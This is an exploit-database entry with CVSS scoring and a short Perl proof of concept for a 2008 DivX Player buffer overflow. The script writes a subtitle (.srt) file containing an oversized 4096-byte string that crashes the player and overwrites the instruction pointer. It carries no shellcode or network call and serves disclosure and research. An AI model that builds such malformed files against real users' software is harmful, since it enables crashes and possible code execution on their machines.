DIVX Player <= 6.7.0 Buffer Overflow PoC ( .SRT )

2008.04.22
Credit: securfrog
Risk: High
Local: Yes
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# DIVX Player <= 6.7.0 Buffer Overflow PoC ( .SRT ) # Bug: When parsing a subtitle file with an overly long subtitle DIVX player will deadly crash with eip overwritted # Replace MOVIE_FILENAME by your movie filename ( .avi ) # #!/usr/local/bin/perl my $file="MOVIE_FILENAME.srt"; my $payload = "A" x 4096; open( $file, ">>$file") or die "Cannot open $file: $!"; print $file "1 \n"; print $file "00:00:01,001 --> 00:00:02,001\n"; print $file $payload; close($file); print "$file has been created \n";


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